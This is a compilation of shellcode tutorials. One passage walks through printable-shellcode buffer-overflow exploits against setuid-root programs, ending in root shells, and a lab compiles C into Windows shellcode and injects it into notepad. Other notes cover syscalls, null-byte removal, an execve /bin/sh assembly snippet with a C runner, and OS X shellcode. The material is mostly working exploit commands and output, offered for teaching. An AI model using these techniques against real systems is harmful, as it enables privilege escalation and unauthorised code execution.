      printf("first arg is too long.\n"); 

      exit(1); 

   } 

 

   if(argc > 2) 

   { 

      printf("arg2 is at %p\n", argv[2]); 

      for(i=0; i < strlen(argv[2])-1; i++) 

      { 

         if(!(isprint(argv[2][i]))) 

         { 

            // If there are any nonprintable characters in the 

            // second argument, exit 

            printf("only printable characters are allowed!\n"); 

            exit(1); 

         } 

      } 

   } 

   func(argv[1]); 

   return 0; 

} 

In this program, the environment variables are all zeroed out, so shellcode 

can't be stashed there. Also, all but two of the arguments are zeroed out. The 

first argument is the one that can be overflowed, leaving the second argument 

as a potential storage place for shellcode. However, before the overflow 

occurs, there is a loop that checks for nonprintable characters in the second 

argument. 

The program leaves no room for normal shellcode, making the exploitation a 

bit more difficult, but not impossible. The larger 46-byte shellcode is used in 

the following output, to illustrate a specific situation when the target address 

changes the actual size of the dissembled shellcode. 



$ gcc -o only_print only_print.c 

$ sudo chown root.root only_print 

$ sudo chmod u+s only_print 

$ ./only_print nothing_here_yet 'dissembler -N shellcode' 

dissembler 0.9 - polymorphs bytecode to a printable ASCII string 

   - Jose Ronnick <matrix@phiral.com> Phiral Research Labs - 

      438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0 

 

[N] Ninja Magic Optimization: ON 

[*] Dissembling bytecode from 'shellcode'... 

[&] Optimizing with ninja magic... 

[+] dissembled bytecode is 189 bytes long. 

-- 

arg2 is at 0xbffff9c4 

$ ./only_print nothing_here_yet 'dissembler -N -t 0xbffff9c4 

shellcode' 

dissembler 0.9 - polymorphs bytecode to a printable ASCII string 

   - Jose Ronnick <matrix@phiral.com> Phiral Research Labs - 

      438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0 

 

[N] Ninja Magic Optimization: ON 

[t] Target address: 0xbffff9c4 

[+] Ending address: 0xbffffadc 

[*] Dissembling bytecode from 'shellcode'... 

[&] Optimizing with ninja magic... 

[&] Optimizing with ninja magic... 

 

[+] dissembled bytecode is 194 bytes long. 

-- 

arg2 is at 0xbffff9bf 

The first argument is only a placeholder, while the specifics of the second 

argument are determined. The target address must match up with the location 

of the second argument, but there is a size difference between the two 

versions: the first was 189 bytes, and the second was 194 bytes. Fortunately, 

the -s switch can take care of that. 

$ ./only_print nothing_here_yet 'dissembler -N -t 0xbffff9c4 -s 189 

shellcode' 

dissembler 0.9 - polymorphs bytecode to a printable ASCII string 

   - Jose Ronnick <matrix@phiral.com> Phiral Research Labs - 

      438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0 

 

[N] Ninja Magic Optimization: ON 

[t] Target address: 0xbffff9c4 

[s] Size changes target: ON (adjust size: 189 bytes) 

[+] Ending address: 0xbffffadc 

[*] Dissembling bytecode from 'shellcode'... 

[&] Optimizing with ninja magic... 

[&] Adjusting target address to 0xbffff9c4.. 

[&] Optimizing with ninja magic... 

[&] Adjusting target address to 0xbffff9bf.. 

 

[+] dissembled bytecode is 194 bytes long. 

-- 

arg2 is at 0xbffff9bf 

$ ./only_print 'perl -e 'print "\xbf\xf9\xff\xbf"x8;'' 'dissembler -N 

-t 0xbffff9c4 

-s 189 shellcode' 



dissembler 0.9 - polymorphs bytecode to a printable ASCII string 

   - Jose Ronnick <matrix@phiral.com> Phiral Research Labs - 

      438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0 

 

[N] Ninja Magic Optimization: ON 

[t] Target address: 0xbffff9c4 

[s] Size changes target: ON (adjust size: 189 bytes) 

[+] Ending address: 0xbffffadc 

[*] Dissembling bytecode from 'shellcode'... 

[&] Optimizing with ninja magic... 

[&] Adjusting target address to 0xbffff9c4.. 

[&] Optimizing with ninja magic... 

[&] Adjusting target address to 0xbffff9bf.. 

 

[+] dissembled bytecode is 194 bytes long. 

-- 

arg2 is at 0xbffff9bf 

sh-2.05b# whoami 

root 

sh-2.05b# 

The use of printable shellcode allowed the shellcode to make it through the 

input validation for printable characters. 

A more extreme example would be a program that clears out almost all of the 

stack memory, like the following one. 

cleared_stack.c code 
void func(char *data) 

{ 

   char buffer[5]; 

   strcpy(buffer, data); 

} 

 

int main(int argc, char *argv[], char *envp[]) 

{ 

   int i; 

 

   // clearing out the stack memory 

   // clearing all arguments except the first 

   memset(argv[0], 0, strlen(argv[0])); 

   for(i=2; argv[i] != 0; i++) 

      memset(argv[i], 0, strlen(argv[i])); 

   // clearing all environment variables 

   for(i=0; envp[i] != 0; i++) 

      memset(envp[i], 0, strlen(envp[i])); 

 

   // If the first argument is too long, exit 

   if(strlen(argv[1]) > 40) 

   { 

      printf("first arg is too long.\n"); 

      exit(1); 

   } 

 

   func(argv[1]); 

   return 0; 

} 



This program clears out all of the function arguments except the first 

argument, and it clears out all of the environment variables. Because the first 

argument is where the overflow happens, and it can only be 40 bytes long, 

there's really no place to put shellcode. Or is there? 

Using gdb to debug the program and examine the stack memory will give a 

clearer picture of the situation. 

$ gcc -g -o cleared_stack cleared_stack.c 

$ sudo chown root.root cleared_stack 

$ sudo chmod u+s cleared_stack 

$ gdb -q ./cleared_stack 

(gdb) list 

4              strcpy(buffer, data); 

5       } 

6 

7       int main(int argc, char *argv[], char *envp[]) 

8       { 

9             int i; 10 

11            // clearing out the stack memory 

12            // clearing all arguments except the first 

13            memset(argv[0], 0, strlen(argv[0])); 

(gdb) 

14            for(i=2; argv[i] != 0; i++) 

15                   memset(argv[i], 0, strlen(argv[i])); 

16            // clearing all environment variables 

17            for(i=0; envp[i] != 0; i++) 

18                    memset(envp[i], 0, strlen(envp[i])); 

19 

20            // If the first argument is too long, exit 

21            if(strlen(argv[1]) > 40) 

22            { 

23                    printf("first arg is too long.\n"); 

(gdb) break 21 

Breakpoint 1 at 0x8048516: file cleared_stack.c, line 21. 

(gdb) run test 

Starting program: /hacking/cleared_stack test 

 

Breakpoint 1, main (argc=2, argv=0xbffff904, envp=0xbffff910) 

   at cleared_stack.c:21 

21             if(strlen(argv[1]) > 40) 

(gdb) x/128x 0xbffffc00 

0xbffffc00:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffc10:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffc20:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffc30:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffc40:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffc50:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffc60:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffc70:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffc80:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffc90:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffca0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffcb0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffcc0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffcd0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffce0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffcf0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffd00:   0x00000000   0x00000000   0x00000000   0x00000000 



0xbffffd10:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffd20:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffd30:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffd40:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffd50:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffd60:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffd70:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffd80:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffd90:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffda0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffdb0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffdc0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffdd0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffde0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffdf0:   0x00000000   0x00000000   0x00000000   0x00000000 

(gdb) 

0xbffffe00:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffe10:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffe20:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffe30:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffe40:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffe50:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffe60:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffe70:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffe80:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffe90:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffea0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffeb0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffec0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffed0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffee0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbffffef0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbfffff00:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbfffff10:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbfffff20:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbfffff30:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbfffff40:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbfffff50:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbfffff60:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbfffff70:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbfffff80:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbfffff90:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbfffffa0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbfffffb0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbfffffc0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbfffffd0:   0x00000000   0x00000000   0x00000000   0x00000000 

0xbfffffe0:   0x00000000   0x61682f00   0x6e696b63   0x6c632f67 

0xbffffff0:   0x65726165   0x74735f64   0x006b6361   0x00000000 

(gdb) 

0xc0000000:   Cannot access memory at address 0xc0000000 

(gdb) x/s 0xbfffffe5 

0xbfffffe5:   "/hacking/cleared_stack" 

(gdb) 

After compiling the source, the binary is opened with gdb and a breakpoint is 

set at line 21, right after all the memory is cleared. An examination of memory 

near the end of the stack shows that it is indeed cleared. However, there is 

something left right at the very end of the stack. Displaying this memory as a 



string, it becomes apparent that this is the name of the executing program. The 

gears should be turning in your head by now. 

If the name of the program is set to be printable shellcode, the program's 

execution flow can be directed into its own name. Symbolic links can be used 

to change the effective name of the program without affecting the original 

binary. The following example will help clarify this process. 

$ ./dissembler -e -b 34 tinyshell 

dissembler 0.9 - polymorphs bytecode to a printable ASCII string 

   - Jose Ronnick <matrix@phiral.com> Phiral Research Labs - 

      438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0 

 

[e] Escape the backslash: ON 

[b] Bridge size: 34 words 

[*] Dissembling bytecode from 'tinyshell'... 

 

[+] dissembled bytecode is 195 bytes long. 

-- 

%R6HJ%-H%1-UUUU-MXXv-gRRtP\\-ffff-yLXy-hAt_P-05yp--MrvP-999t-4dKd-

xbyoP-Ai6A-Zx%Z- 

kx%MP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-ooOo-

AEA3- 

P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP 

Because this shellcode will be located right at the very end of the stack, space 

needs to be saved to build the actual shellcode after the loader code. Because 

the shellcode is 31 bytes, at least 31 bytes must be saved at the end. But these 

31 bytes could be misaligned with the four byte words of the stack. An extra 

three bytes of space will account for any possible misalignments, so 34 bytes 

are saved at the end of the stack, using the characters that are usually used to 

build the NOP bridge. The -e switch is used to escape the backslash character, 

because this printable shellcode is going to be cut and pasted to make a 

symbolic link. 

$ ln -s /hacking/cleared_stack %R6HJ%-H%1-UUUU-MXXv-gRRtP\\-ffff-yLXy-

hAt_P-05yp-- 

MrvP-999t-4dKd-xbyoP-Ai6A-Zx%Z-kx%MP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-

22d2-5Ab5- 

52Y7P-N8y8-S8r8P-ooOo-AEA3-P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP 

$ ls -l %* 

lrwxrwxrwx    1 matrix    users       22 Aug 11 17:29 %R6HJ%-H%1-UUUU-

MXXv- 

gRRtP\-ffff-yLXy-hAt_P-05yp--MrvP-999t-4dKd-xbyoP-Ai6A-Zx%Z-kx%MP-

nnnn-eI3e-fHM-P- 

zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-ooOo-AEA3- 

P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP -> /hacking/cleared_stack 

$ 

Now all that's left is to calculate where the beginning of the printable 

shellcode will be and to exploit the program. The debugger revealed that the 

end of the program name was at 0xbffffffb. Because this is the end of the 

stack, this address isn't going to change, but instead the beginning of the 



program name will shift to a lower memory address. Because the printable 

shellcode is 195 bytes long, the beginning of it should be at 0xbfffff38 

(0xbffffffb – 195). 

$ pcalc 0xfffb - 195 

        65336          0xff38          0y1111111100111000 

$ ./%R6HJ%-H%1-UUUU-MXXv-gRRtP\\-ffff-yLXy-hAt_P-05yp--MrvP-999t-4dKd-

xbyoP-Ai6A- 

Zx%Z-kx%MP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-

ooOo-AEA3- 

P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP 'perl -e 'print 

"\x38\xff\xff\xbf"x8;'' 

sh-2.05b# whoami 

root 

sh-2.05b# 

Printable shellcode is simply a technique that can open some doors. All of 

these techniques are just building blocks with a myriad of possible 

combinations and uses. Their application simply requires some ingenuity on 

your part. Be clever and beat them at their own game. 

https://bista.sites.dmi.unipg.it/didattica/sicurezza-pg/buffer-overrun/hacking-

book/0x2a0-writing_shellcode.html 

Writing and Compiling 

Shellcode in C 
This is a quick lab to get familiar with the process of writing and compiling shellcode in 

C and is merely a personal conspectus of the paper From a C project, through 

assembly, to shellcode by hasherezade for vxunderground - go check it out for a deep 

dive on all the subtleties involved in this process, that will not be covered in these 

notes. 

For the sake of this lab, we are going to turn a simple C program (that is provided by 

hasherezade in the aforementioned paper) that pops a message box, to shellcode and 

execute it by manually injecting it into an RWX memory location inside notepad. 

Code samples used throughout this lab are written by hasherezade, unless stated 

otherwise. 

Overview 

Below is a quick overview of how writing and compiling shellcode in C works: 

1. 1. 

Shellcode is written in C 

https://bista.sites.dmi.unipg.it/didattica/sicurezza-pg/buffer-overrun/hacking-book/0x2a0-writing_shellcode.html
https://bista.sites.dmi.unipg.it/didattica/sicurezza-pg/buffer-overrun/hacking-book/0x2a0-writing_shellcode.html
https://vxug.fakedoma.in/papers/VXUG/Exclusive/FromaCprojectthroughassemblytoshellcodeHasherezade.pdf
https://vxug.fakedoma.in/papers/VXUG/Exclusive/FromaCprojectthroughassemblytoshellcodeHasherezade.pdf
https://twitter.com/hasherezade
https://twitter.com/vxunderground
https://twitter.com/hasherezade
https://twitter.com/hasherezade


2. 2. 

C code is compiled to a list of assembly instructions 

3. 3. 

Assembly instructions are cleaned up and external dependencies 

removed 

4. 4. 

Assembly is linked to a binary 

5. 5. 

Shellcode is extracted from the binary 

6. 6. 

This shellcode can now be injected/executed by leveraging code injection 

techniques 

Walkthrough 

1. 1. 

This lab is based on Visual Studio 2019 Community Edition.  

2. 2. 

Program and shellcode in this lab targets x64 architecture. 

1. Preparing Dev Environment 

First of, let's start the Developer Command Prompt for VS 2019, which will set up our 

dev environment required for compiling and linking the C code used in this lab: 

 

In my case, the said console is located here: 

https://www.ired.team/offensive-security/code-injection-process-injection
https://www.ired.team/offensive-security/code-injection-process-injection


C:\Program Files (x86)\Microsoft Visual 

Studio\2019\Community\Common7\Tools\VsDevCmd.bat 

Let's start it like so: 

cmd /k "C:\Program Files (x86)\Microsoft Visual 

Studio\2019\Community\Common7\Tools\VsDevCmd.bat" 

 

2. Generating Assembly Listing 

Below are two C files that make up the program we will be converting to shellcode: 

• c-shellcode.cpp - the program that pops a message box 

• peb-lookup.h - header file required by the c-shellcode.cpp, which 

contains functions for resolving addresses for LoadLibraryA and 

GetProcAddress 

c-shellcode.cpp 

peb-lookup.h 

#include <Windows.h> 

#include "peb-lookup.h" 

 

// It's worth noting that strings can be defined nside the .text 

section: 

#pragma code_seg(".text") 

 

__declspec(allocate(".text")) 

wchar_t kernel32_str[] = L"kernel32.dll"; 

 

__declspec(allocate(".text")) 

char load_lib_str[] = "LoadLibraryA"; 

 

int main() 



{ 

    // Stack based strings for libraries and functions the 

shellcode needs 

    wchar_t kernel32_dll_name[] = { 

'k','e','r','n','e','l','3','2','.','d','l','l', 0 }; 

    char load_lib_name[] = { 

'L','o','a','d','L','i','b','r','a','r','y','A',0 }; 

    char get_proc_name[] = { 

'G','e','t','P','r','o','c','A','d','d','r','e','s','s', 0 }; 

    char user32_dll_name[] = { 

'u','s','e','r','3','2','.','d','l','l', 0 }; 

    char message_box_name[] = { 

'M','e','s','s','a','g','e','B','o','x','W', 0 }; 

 

    // stack based strings to be passed to the messagebox win api 

    wchar_t msg_content[] = { 'H','e','l','l','o', ' ', 

'W','o','r','l','d','!', 0 }; 

    wchar_t msg_title[] = { 'D','e','m','o','!', 0 }; 

 

    // resolve kernel32 image base 

    LPVOID base = get_module_by_name((const 

LPWSTR)kernel32_dll_name); 

    if (!base) { 

        return 1; 

    } 

 

    // resolve loadlibraryA() address 

    LPVOID load_lib = get_func_by_name((HMODULE)base, 

(LPSTR)load_lib_name); 

    if (!load_lib) { 

        return 2; 



    } 

 

    // resolve getprocaddress() address 

    LPVOID get_proc = get_func_by_name((HMODULE)base, 

(LPSTR)get_proc_name); 

    if (!get_proc) { 

        return 3; 

    } 

 

    // loadlibrarya and getprocaddress function definitions 

    HMODULE(WINAPI * _LoadLibraryA)(LPCSTR lpLibFileName) = 

(HMODULE(WINAPI*)(LPCSTR))load_lib; 

    FARPROC(WINAPI * _GetProcAddress)(HMODULE hModule, LPCSTR 

lpProcName) 

        = (FARPROC(WINAPI*)(HMODULE, LPCSTR)) get_proc; 

 

    // load user32.dll 

    LPVOID u32_dll = _LoadLibraryA(user32_dll_name); 

 

    // messageboxw function definition 

    int (WINAPI * _MessageBoxW)( 

        _In_opt_ HWND hWnd, 

        _In_opt_ LPCWSTR lpText, 

        _In_opt_ LPCWSTR lpCaption, 

        _In_ UINT uType) = (int (WINAPI*)( 

            _In_opt_ HWND, 

            _In_opt_ LPCWSTR, 

            _In_opt_ LPCWSTR, 

            _In_ UINT)) _GetProcAddress((HMODULE)u32_dll, 

message_box_name); 



 

    if (_MessageBoxW == NULL) return 4; 

 

 

    // invoke the message box winapi 

    _MessageBoxW(0, msg_content, msg_title, MB_OK); 

 

    return 0; 

} 

We can now convert the C code in c-shellcode.cpp to assembly instructions like so: 

"C:\Program Files (x86)\Microsoft Visual 

Studio\2019\Community\VC\Tools\MSVC\14.26.28801\bin\Hostx64\x64\cl.

exe" /c /FA /GS- c-shellcode.cpp 

The switches' instruct the compiler to: 

• /c - Prevent the automatic call to LINK 

• /FA - Create a listing file containing assembler code for the provided C 

code 

• /GS- - Turn off detection of some buffer overruns 

Below shows how we compile the c-shellcode.cpp into c-shellcode.asm: 

 

Assembly instructions are generated based on the c-shellcode.asm 

3. Massaging Assembly Listing 

Now that our C code has been convered to assembly in c-shellcode.asm, we need to 

clean up the file a bit, so we can link it to an .exe without errors and to avoid the 

shellcode from crashing. Specifically, we need to: 

1. 1. 

Remove dependencies from external libraries 



2. 2. 

Align stack 

3. 3. 

Fix a simple syntax issue 

3.1 Remove Exteranal Libraries 

First off, we need to comment out or remove instructions to link this module with 

libraries libcmt and oldnames: 

 

Comment out both includelib directives 

3.2 Fix Stack Alignment 

Add procedure AlignRSP right at the top of the first _TEXT segment in our c-

shellcode.asm: 

; 

https://github.com/mattifestation/PIC_Bindshell/blob/master/PIC_Bin

dshell/AdjustStack.asm 

 

; AlignRSP is a simple call stub that ensures that the stack is 16-

byte aligned prior 

; to calling the entry point of the payload. This is necessary 

because 64-bit functions 

; in Windows assume that they were called with 16-byte stack 

alignment. When amd64 

; shellcode is executed, you can't be assured that you stack is 16-

byte aligned. For example, 



; if your shellcode lands with 8-byte stack alignment, any call to 

a Win32 function will likely 

; crash upon calling any ASM instruction that utilizes XMM 

registers (which require 16-byte) 

; alignment. 

 

AlignRSP PROC 

    push rsi ; Preserve RSI since we're stomping on it 

    mov rsi, rsp ; Save the value of RSP so it can be restored 

    and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes 

    sub rsp, 020h ; Allocate homing space for ExecutePayload 

    call main ; Call the entry point of the payload 

    mov rsp, rsi ; Restore the original value of RSP 

    pop rsi ; Restore RSI 

    ret ; Return to caller 

AlignRSP ENDP 

Below shows how it should look like in the c-shellcode.asm: 



 

Add AlignRSP at the top of _TEXT segment 

3.3 Remove PDATA and XDATA Segments 

Remove or comment out PDATA and XDATA segments as shown below: 



 

3.4 Fix Syntax Issues 

We need to change line mov rax, QWORD PTR gs:96 to mov rax, QWORD PTR 

gs:[96]:  

 

4. Linking to an EXE 

We are now ready to link the assembly listings inside c-shellcode.asm to get an 

executable c-shellcode.exe: 



"C:\Program Files (x86)\Microsoft Visual 

Studio\2019\Community\VC\Tools\MSVC\14.26.28801\bin\Hostx64\x64\ml6

4.exe" c-shellcode.asm /link /entry:AlignRSP 

 

5. Testing the EXE 

We can now check that if c-shellcode.exe does what it was meant to - pops a 

message box: 

 

6. Copying Out Shellcode 

Once we have the c-shellcode.exe binary, we can extract the shellcode and execute 

it using any code injection technique, but for the sake of this lab, we will copy it out as 

a list of hex values and simply paste them into an RWX memory slot inside a 

notepad.exe. 

Let's copy out the shellcode from the .text section, which in our case starts at 0x200 

into the raw file: 

https://www.ired.team/offensive-security/code-injection-process-injection


 

If you are wondering how we found the shellcode location, look at the .text section - 

you can extract if from there too: 

 

7. Testing Shellcode 

Once the shellcode is copied, let's paste it to an RWX memory area (you can set any 

memory location to have permissions RWX with xdbg64) inside notepad, set RIP to that 



location and resume code execution in that location. If we did all the previous steps 

correctly, we should see our shellcode execute and pop the message box: 

 

notepad.exe executing shellcode that pops a MessageBox as seen in xdbg64 

https://www.ired.team/offensive-security/code-injection-process-

injection/writing-and-compiling-shellcode-in-c 

https://www.vividmachines.com/shellcode/shellcode.html 

https://www.exploit-db.com/raw/13224 

https://github.com/reg1reg1/Shellcode 

https://github.com/CyberSecurityUP/shellcode-templates 

EXPLOITATION WITH SHELLCODE 

Shellcode is a piece of code performs specific action 

Shellcode is written in ASM 

Shellcode is architecture specific, so it is non portable between 

different processor types 

https://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-shellcode-in-c
https://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-shellcode-in-c
https://www.vividmachines.com/shellcode/shellcode.html
https://www.exploit-db.com/raw/13224
https://github.com/reg1reg1/Shellcode
https://github.com/CyberSecurityUP/shellcode-templates


Shellcode is typically written to directly manipulate processor 

registers to set them up for various system calls made with 

opcodes 

When the ASM code has been written to perform the operation 

desired, it must then be converted to machine code and freed of 

any “null bytes” , because it must be free of any null bytes 

because many string operators such as strcpy() terminate when 

hitting them 

SYSTEM CALLS (SYSCALL) 

System call (commonly abbreviated to syscall) is the 

programmatic way in which a computer program requests a 

service from the kernel of the operating system on which it is 

executed 

System calls provide an essential interface between a process 

and the operating system 

System calls can only be made from userspace processes 

Privileged system code also issues system calls 

An interrupt automatically puts the CPU into some elevated 

privilege level and then passes control to the kernel, which 

determines whether the calling program should be granted the 

requested service. If the service is granted, the kernel executes a 

specific set of instructions over which the calling program has no 



direct control, returns the privilege level to that of the calling 

program, and then returns control to the calling program. 

System calls provide a way to manage communication to 

hardware and functionality offered by the kernel that may not be 

included in the application’s address space 

Most systems use ring levels(commonly 4 privileged levels) to 

provide security and protection from allowing an application to 

directly access hardware and certain system functions 

For a user-level program to access a function outside of its 

address space, such as setuid(), it must identify the system call 

number of the desired function and then send an interrupt 0x80 

(int 0x80) 

NOTE 
The instruction 'int 0x80/syscall' is an assembly instruction 

that invokes system calls on most *NIX OSs 

WHY SYSCALL? 

To enter kernel we can use Hardware Interrupt, Hardware Trap 

and Software Initiated Trap 

We cannot trigger and use hardware related interrupts and traps 

So lets use “Software Initiated Traps” to enter Kernel Mode 



Systemcalls are a special case of software initiated trap. The 

machine instruction used to initiate a system call typically 

causes a hardware trap that is handled specially by the kernel 

In Linux, the system calls are implemented using 
lcall7/lcall27 gates (lcall7_func) 

            

int0x80 (software interrupt) 

WORK FLOW 

To perform a syscall , two or more arguments are required 

The “syscall number” is loaded into “EAX register” 

Arguments needed to be passed through syscall are stored in 

registers EBX,ECX and EDX(32bit) in the order followed by 

syscall table 

In case of 64bit, QWORD registers and R8-R15 registers are 

used to store the arguments 

GENERATING A SAMPLE ASM CODE FOR SYSCALL 

EXAMPLE 1 

Lets trigger the exit(0) using syscall by ASM 
mov eax,1 

mov ebx,0 

int 0x80 

Here EAX is loaded with 1, so it get the syscall with value 1 



syscall_value = 1 — — -> syscall = sys_exit() 

The value 0 is loaded into EBX so that it can be used as 

argument for syscall 

int 0x80 is used to trigger interrupt and perform syscall 

EXAMPLE 2 

To spawn a “sh” shell using execve() 
mov eax,0x0         //initialization 

push edx            //nullbyte to terminate string (0x0) 

push 0x68732f2f     //4bytes needed (//sh)['//' is same as 

'/']  

push 0x6e69622f     //4bytes needed (/bin) little endian 

mov ebx, esp        //moving SP into EBX 

push edx            //pushing EDX into stack (0x0) 

push esp            // ESP above EDX in stack 

mov ecx, esp        // ESP stored in ECX for argv 

mov eax, 0x0b       //loading eax with syscall value for 

execve() 

int 0x80            //calling syscall to perform interrupt 

MORE ON SYSCALL 

Type this command in terminal 
man syscall 

man 'syscall(2)' 

Also refer this table for more syscall values of each architecture 

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md


NULLBYTES 0x00 

EFFECT OF NULL BYTES 

Functions relying on a string operator such as strcpy(), to copy 

data into a buffer, and when these functions hit a null byte such 

as 0x00, they translate that as a string terminator. This, of 

course, causes our shellcode to fail 

CAUSE OF NULL BYTES 

Assembly instructions cause null bytes to reside within your 

shellcode 

Improper initialization of registers 

REMOVING NULL BYTES 

TYPE 1 

Consider you are using a register EAX (32bits/4bytes) 

Whenever you are trying to store a small value in EAX(32bit) 
mov eax,0x10 

You can use AX(16bit) to store these small values(based on size) 

Lower register AL(8bit) gets filled with values and Upper 

register AH(8bit) gets filled with NULLS 



This causes null bytes when converting it into shellcode 

Instead of loading small values in the whole register, 

We can use its halves 
mov al,0x10 

TYPE 2 

There comes a case in which we need to pass 0 as an argument 

to syscall 

In that type of cases we could not load 0 into register, because it 

may create NULL BYTES in shellcode 

To overcome this, we can store any arbitrary values in register 

and, 

We can XOR the register 
mov ebx,0x10 

xor ebx,ebx 

It is the best way because it does not affect the EFLAGS register 

TYPE 3 — We can SUB the register 
mov ebx,0x10 

sub ebx,ebx 

TYPE 4 — INC or DEC the register 

Storing the count value in ECX 



Performing INC(Increment) and DEC(Decrement) 
inc ebx 

dec edx 

TYPE 5 — Moving 0 from another register 

Lets assume 0x00 is in EDX 

To load the value in EBX and to prevent null bytes 
mov ebx,edx 

GENERATING SHELLCODES 

Lets assume a scenario where we want to call/spawn a shell 

from a attack vector 

To spwan a shell we need to execute shellcode 

And lets fix that we need to spawn “/bin/sh” 

Lets replica this execve shellcode 

COMMON CODE STRUCTURE 

Common code structure to execute our shellcode using C 

program as an exploit is 
char shellcode[] = "SHELLCODE HERE"; 

            int main(int argc, char **argv){ 

                int (*attack)(); 

                attack = (int (*)())shellcode; 

                (int)(*attack)(); 

            } 

https://www.exploit-db.com/exploits/44321


OR 
char shellcode[] = "SHELLCODE HERE"; 

            int main(int argc, char **argv){ 

                    ((int (*)())shellcode)(); 

            } 

EXPLOIT 

Before we attack we need to check the architecture of the victim 

machine 

 

Lets script the ASM code in editor to process it 

 

Now,lets test the exploit generated from ASM code 

 



Run “objdump” to view the hexvalues of each ASM instruction to 

craft shellcode 

 

This is the SHELLCODE for our exploit 

Copy the shellcode and embed it in another script so that it can 

run in executable memory 

 

Compile the source code with “-z execstack” and “-nostdlib” to 

avoid “segmentation fault” and allowing the binary to run in 

executable memory 



 

https://infosecwriteups.com/exploitation-with-shellcode-23470cd2aa55 

Creating OSX shellcodes 

I decided to play around with OS X shellcodes, now this time instead of 

writing a brand new post about it, I will paste here 3 other posts, which I 

found really useful to get started. 

 

http://ligocki.tumblr.com/post/5174133459/writing-shellcode-under-mac-os-

x-part-0x01 

 

https://filippo.io/making-system-calls-from-assembly-in-mac-os-x/ 

 

http://dustin.schultz.io/blog/2010/11/15/mac-os-x-64-bit-assembly-system-

calls/ 

 

A few highlights: 

• OS X is a nix based system, so essentially shellcode creation is like on 

Linux, you can use syscalls 

• These days OS X is x64 only, so you need to pass arguments in the 

registers, the order is: RDI, RSI, RDX, R10, R8 and R9 

• syscalls are done through the syscall command, which is stored in the 

RAX register 

• You need to add 0x20000000 to the syscall number 

I created two NULL byte free shellcodes for OS X x64: 

 

1. A simple /bin/sh code: https://www.exploit-db.com/exploits/38065/ 

